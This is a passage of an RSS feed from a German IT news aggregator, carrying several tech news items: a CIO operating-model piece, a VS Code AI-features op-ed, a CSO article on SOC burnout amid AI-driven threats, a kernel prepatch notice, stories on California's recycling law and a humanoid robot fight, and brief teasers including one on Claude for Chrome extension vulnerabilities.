<p class="wp-block-paragraph">That shifts the conversation from IT cost to business service economics. A single aggregate IT spend number is rarely useful in a decentralized environment. More helpful is a capability-based view that shows which areas are scaled efficiently, which are fragmented, and where the business architecture is driving the technology cost structure.</p>



<h2 class="wp-block-heading"><a></a>Revisit the model as maturity changes</h2>



<p class="wp-block-paragraph">For a new CIO entering a decentralized environment, Krebs cautions against immediately declaring that too many things need to be centralized. The better starting point is curiosity. “I would begin with just trying to understand why they’ve made the decisions they have,” he says.</p>



<p class="wp-block-paragraph">From there, CIOs can engage leaders in a conversation about the <a href="https://www.cio.com/article/3966240/from-banquet-to-bistro-how-the-product-model-is-transforming-the-business-of-technology.html">target operating model</a>, connecting business architecture to technology, data, and organizational capabilities. Once the direction is clear, he advises CIOs to work with the willing. Find the parts of the organization that already see the need for change, prove the model there, and scale from demonstrated success.</p>



<p class="wp-block-paragraph">Regardless of execution, though, the right model changes over time. A low-maturity capability may benefit from centralization because the organization needs to build talent, avoid reinventing the wheel, and accelerate learning. As maturity grows, decentralization may make more sense because business teams need flexibility to adapt quickly. Once maturity is high and patterns stabilize, the organization may be ready to centralize again to <a href="https://www.cio.com/article/4158552/scaling-ai-at-union-pacific-starts-with-people.html?utm=hybrid_search">leverage scale</a>.</p>



<p class="wp-block-paragraph">“Once I’ve decided I’m going to start with centralized or decentralized, you don’t necessarily need to stay in that model,” Krebs says. “You need to be continually revisiting the operating model as your organization matures and evolves.”</p>



<p class="wp-block-paragraph">That may be the heart of smart centralization. It rejects the false permanence of operating model decisions, and recognizes that autonomy and scale are both valuable, but in different places, at different times, for different reasons.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dear Microsoft: Stop sticking your AI in my IDE]]></title>
<description><![CDATA[Dear Microsoft, 



I don’t want to have a love-hate relationship with Visual Studio Code, but you’re making it really hard.



Once upon a time, Visual Studio Code was just an editor. You configured it with add-ons to make it do whatever job you needed.



And that was great! I gravitated toward...]]></description>
<link>https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680669/ai-nachrichten/dear-microsoft-stop-sticking-your-ai-in-my-ide/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Dear Microsoft, </p>



<p class="wp-block-paragraph">I don’t want to have a love-hate relationship with <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a>, but you’re making it really hard.</p>



<p class="wp-block-paragraph">Once upon a time, Visual Studio Code was just an editor. You configured it with add-ons to make it do whatever job you needed.</p>



<p class="wp-block-paragraph">And that was great! I gravitated towards using VS Code for multiple jobs in various languages. I could set up a <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> workflow with extensions to add database-wrangling functionality. I could put together an environment for digital book publishing. I could even set up a project for screenwriting! (Yes, I have a screenplay in progress. A man can dream.)</p>



<p class="wp-block-paragraph">Now, it’s not like all this went away yesterday. I can still do all of the above. But <em>literally every new feature</em> in VS Code these days is all about agents, AI, and LLMs. It makes me wonder if there’s anyone left in the building who is working on the actual editor anymore.</p>



<p class="wp-block-paragraph">In the <a href="https://code.visualstudio.com/updates/v1_127">release notes for VS Code 1.127</a>, literally every single new feature <a href="https://code.visualstudio.com/updates/v1_127#_integrated-browser">save one</a> was about agents and AI. Ditto <a href="https://code.visualstudio.com/updates/v1_126">the version before that</a>. The <a href="https://code.visualstudio.com/updates/v1_125">version before that</a> was a little better, but the trend has been clear for some time now: Visual Studio Code is fast becoming an agent front end first, and everything else is a distant second.</p>



<p class="wp-block-paragraph">One argument I’ve heard is that VS Code is now a mature project. Because there just isn’t much left to be done to improve the core, you have directed your attention towards other features that will attract new users. And because agent-and-AI mania is still burning through the enterprise (and everyone’s budgets), agent-and-AI features are the order of the day.</p>



<p class="wp-block-paragraph">But do these features really need to be IDE-level features? Instead of drastically retooling VS Code to support agents, and making AI features native elements of the IDE, shouldn’t the real mission be to support VS Code’s native extensibility? After all, VS Code was built to be extended, and <a href="https://marketplace.visualstudio.com/search?target=VSCode&amp;category=AI&amp;sortBy=Installs">thousands of AI add-ons</a> — including <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a> and <a href="https://marketplace.visualstudio.com/search?term=microsoft&amp;target=VSCode&amp;category=AI&amp;sortBy=Relevance">dozens of your own extensions</a> — already take advantage of that.</p>



<p class="wp-block-paragraph">Is all this really about what AI features VS Code can support natively, or is it more about making VS Code a default first point of contact for agents and AI — specifically <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>? Is this less about developer convenience, and more about guaranteeing — however obnoxiously — that agents and AI tools always have a central place in VS Code?</p>



<p class="wp-block-paragraph">Whatever the goal is, if you think every VS Code user wants an “<a href="https://www.infoworld.com/article/4193975/the-ide-is-dead-long-live-the-ade.html">agentic development environment</a>” instead of an IDE, I think you’re dead wrong.</p>



<p class="wp-block-paragraph">No doubt AI tools are here to stay. But I do think they will experience a reckoning. Frontier models that do everything and six more things on top of that are becoming of real use only to the big vendors who stick API tollbooths in front of them and construct wetland-devouring data centers the size of the Vegas strip to power them. The future looks more like smaller, locally-hosted models that handle highly specialized tasks and require far fewer resources to train, deploy, and serve. (Even you seem to be moving in that direction, with the <a href="https://blogs.windows.com/msedgedev/2026/06/02/expanding-on-device-ai-in-microsoft-edge-new-models-and-apis-for-the-web/">Aion on-device models</a>.)</p>



<p class="wp-block-paragraph">The deeper we go into that reckoning, the less it makes sense to have cart-before-the-horse arrangements like VS Code’s native AI features. How long before these features get hoisted back out of VS Code and moved to an add-on (albeit one we get nagged to install every time we fire up our IDE)? Sooner rather than later, I’d bet.</p>



<p class="wp-block-paragraph">Still, until that fine day comes, I’m resigning myself to the idea that my current favorite editor will be stuffed with more and more AI features, whether or not they even make sense in my use case, for a long, wearying time to come.</p>



<p class="wp-block-paragraph">At least I can <a href="https://code.visualstudio.com/docs/supporting/FAQ#_can-i-disable-ai-functionality-in-vs-code">turn all that stuff off</a>. For now.</p>



<p class="wp-block-paragraph">As I was writing this (in VS Code, no less), I got an update to VS Code 1.128. There’s one nice feature in there I could see myself using quite widely: <a href="https://code.visualstudio.com/updates/v1_128#_os-level-keyboard-shortcuts">the ability to register OS-level keyboard shortcuts</a>. But the rest? All AI, all agents, all the time.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kernel prepatch 7.2-rc4]]></title>
<description><![CDATA[The 7.2-rc4 kernel prepatch is out for
testing.  Linus said: "This whole week I had the feeling that people
were starting to go on summer vacation, but running the numbers shows that
I must have been wrong - it all looks pretty normal."]]></description>
<link>https://tsecurity.de/de/3680070/linux-tipps/kernel-prepatch-72-rc4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680070/linux-tipps/kernel-prepatch-72-rc4/</guid>
<pubDate>Mon, 20 Jul 2026 00:24:36 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The <a href="https://lwn.net/Articles/1083542/">7.2-rc4</a> kernel prepatch is out for
testing.  Linus said: "<q>This whole week I had the feeling that people
were starting to go on summer vacation, but running the numbers shows that
I must have been wrong - it all looks pretty normal.</q>"]]></content:encoded>
</item>
<item>
<title><![CDATA[California's 'Truth in Recycling' Law Blocked by Judge]]></title>
<description><![CDATA[An anonymous reader shared this report from the Los Angeles Times:

A federal judge has halted California's groundbreaking "Truth in Recycling" law, which aims to reduce consumer confusion about which packaging can be recycled. [Originally planned to take effect October 4th], California's recycla...]]></description>
<link>https://tsecurity.de/de/3680013/it-security-nachrichten/californias-truth-in-recycling-law-blocked-by-judge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680013/it-security-nachrichten/californias-truth-in-recycling-law-blocked-by-judge/</guid>
<pubDate>Sun, 19 Jul 2026 23:22:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader shared this report from the Los Angeles Times:

A federal judge has halted California's groundbreaking "Truth in Recycling" law, which aims to reduce consumer confusion about which packaging can be recycled. [Originally planned to take effect October 4th], California's recyclable packaging law prohibits manufacturers from using a "chasing arrows" recycling symbol on products or materials unless they are actually being recycled in a meaningful way, which the law quantifies... 

A coalition of farming, forestry, restaurant and packaging organizations sued the state in March, arguing the law violates their right to free speech. They argued that Senate Bill 343 operates as "government-imposed censorship." Judge William Hayes agreed that their challenge has merit, and on Tuesday ordered California Atty. Gen. Rob Bonta, the defendant in the case, to pause enforcement of the law "until further order of the Court...." Advocates of reducing plastic use disagreed. "The court got it wrong, and I'm confident that the state will ultimately prevail," said Nick Lapis, director of advocacy for Californians Against Waste. "S.B. 343 does not violate the 1st Amendment; it requires companies to tell the truth when they make recyclability claims. Suggesting that the 1st Amendment protects misleading environmental marketing is inconsistent with the basic principles of consumer protection that states like California have implemented for decades." 


In January, CalRecycle, the state's waste agency, reported that less than 10% of most single-use plastic materials in the state were being recycled. Even yogurt containers and margarine tubs — made of ubiquitous polypropylene, or No. 5 plastic — are being recycled at a rate of only 2% in the state, the report said. Only 5% of colored shampoo and detergent bottles, made from polyethylene, or No. 1 plastic, are getting recycled... 

Plastic materials that can't be recycled are typically sent to landfills or sometimes illegally shipped overseas, where they are burned or end up in landfills, rivers and waterways.


 
The bill's author told the Los Angeles Times "All you have to do is look at the numbers. These products are not getting recycled, despite what the industry is claiming. They are just confusing consumers, clogging the waste stream, polluting the environment, leading to higher and higher prices for local governments and ratepayers." He argues the symbols shouldn't be used to "confuse people who see the symbols [on products] and assume they can be recycled." 

The article also quotes Judith Enck, former Environmental Protection Agency regional administrator and president of the nonprofit Beyond Plastics. "Given the long history of the plastics industry deceiving the public about plastics recycling, this is an especially bad outcome. It is a reminder that the plastics industry has enough money to fight even the most modest policy designed to protect people and the planet."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=California's+'Truth+in+Recycling'+Law+Blocked+by+Judge%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F210221%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F210221%2Fcalifornias-truth-in-recycling-law-blocked-by-judge%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/19/210221/californias-truth-in-recycling-law-blocked-by-judge?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA['The bypass is still six lines of JavaScript': Security experts warn that Claude for Chrome browser extension could be hijacked, despite it alerting Anthropic several times that something was wrong]]></title>
<description><![CDATA[Researchers found Claude’s Chrome extension still contains vulnerabilities allowing fake clicks and permission bypasses despite Anthropic releasing multiple updates.]]></description>
<link>https://tsecurity.de/de/3679834/it-nachrichten/the-bypass-is-still-six-lines-of-javascript-security-experts-warn-that-claude-for-chrome-browser-extension-could-be-hijacked-despite-it-alerting-anthropic-several-times-that-something-was-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679834/it-nachrichten/the-bypass-is-still-six-lines-of-javascript-security-experts-warn-that-claude-for-chrome-browser-extension-could-be-hijacked-despite-it-alerting-anthropic-several-times-that-something-was-wrong/</guid>
<pubDate>Sun, 19 Jul 2026 20:17:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers found Claude’s Chrome extension still contains vulnerabilities allowing fake clicks and permission bypasses despite Anthropic releasing multiple updates.]]></content:encoded>
</item>
<item>
<title><![CDATA[Robot 'Decapitated' in World's First-Ever Humanoid UFC Fight]]></title>
<description><![CDATA["A humanoid robot lost its head," reports Newsweek, "during the world's first free-combat tournament for full-sized humanoid robots." 

The Ultimate Robot Knock-out Legend competition began Thursday in Shenzhen, China, according to the article, with local robotics company EngineAI providing $40,0...]]></description>
<link>https://tsecurity.de/de/3679812/it-security-nachrichten/robot-decapitated-in-worlds-first-ever-humanoid-ufc-fight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679812/it-security-nachrichten/robot-decapitated-in-worlds-first-ever-humanoid-ufc-fight/</guid>
<pubDate>Sun, 19 Jul 2026 20:07:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["A humanoid robot lost its head," reports Newsweek, "during the world's first free-combat tournament for full-sized humanoid robots." 

The Ultimate Robot Knock-out Legend competition began Thursday in Shenzhen, China, according to the article, with local robotics company EngineAI providing $40,000 of their "T800" robots (yes, named after The Terminator) to 32 participating teams from around the world:

A video shared of the combat on YouTube by local news outlet Shenzhen Story, showed that even after one of the robots had its head practically knocked off its shoulders, it continued to fight, throwing punches at its opponent and kicking into the air... [White humanoid robot "White Eagle"] landed a high kick to the head of its black opponent, "Matador," which made the robot's head rock precariously in its socket before rolling completely out of place. The two continued to spar as Matador's head was swinging from its socket until eventually the robot fell, crushing its head underneath its body. 
Matador tried to scramble back to its feet, but its head flew off and the robot then collapsed back down. The White Eagle did a celebratory dance for the crowd as the fight concluded, and did a move that mimicked that of someone flexing their biceps. The White Eagle waited in the ring, fists still up, as Matador was carried away, occasionally doing a few more dance moves... 

Per a report by Global Times, the winning team will be awarded a gold championship belt worth $1.44 million (10 million yuan) by the event organizer. 


It's a strange fight. The robots sometimes seem unaware of where their opponent is, facing the wrong direction or throwing kicks and punches in the air. In the first round White Eagle just knocks over Matador, who then isn't able to stand back up. (And White Eagle again appears to do a victorious dance.) 

EngineAI's site says they aim to "promote the development of robot combat events toward greater professionalism, scale, and industrialization," while fostering innovation and global collaboration. 

Thanks to Slashdot reader pbahra for sharing the news.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Robot+'Decapitated'+in+World's+First-Ever+Humanoid+UFC+Fight%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F19%2F1746241%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F19%2F1746241%2Frobot-decapitated-in-worlds-first-ever-humanoid-ufc-fight%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/19/1746241/robot-decapitated-in-worlds-first-ever-humanoid-ufc-fight?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hidden Wi‑Fi Killers: Everyday Things Quietly Ruining Your Home Internet]]></title>
<description><![CDATA[  Many everyday objects can quietly wreck your Wi‑Fi, and understanding them is the first step to a more stable home network. From kitchen gadgets to building materials, the invisible radio waves carrying your data are constantly competing with physical…
Read more →
The post Hidden Wi‑Fi Killers:...]]></description>
<link>https://tsecurity.de/de/3679800/it-security-nachrichten/hidden-wifi-killers-everyday-things-quietly-ruining-your-home-internet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679800/it-security-nachrichten/hidden-wifi-killers-everyday-things-quietly-ruining-your-home-internet/</guid>
<pubDate>Sun, 19 Jul 2026 19:43:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  Many everyday objects can quietly wreck your Wi‑Fi, and understanding them is the first step to a more stable home network. From kitchen gadgets to building materials, the invisible radio waves carrying your data are constantly competing with physical…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hidden-wi-fi-killers-everyday-things-quietly-ruining-your-home-internet/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hidden-wi-fi-killers-everyday-things-quietly-ruining-your-home-internet/">Hidden Wi‑Fi Killers: Everyday Things Quietly Ruining Your Home Internet</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Etzioni on AI: Uncle Sam wants a stake in leading AI companies — what could possibly go wrong?]]></title>
<description><![CDATA[Although bipartisan momentum is building for the federal government to take equity positions in major AI firms, this strategy risks compromising regulatory neutrality unless strict guardrails and sunset clauses are established. Read More]]></description>
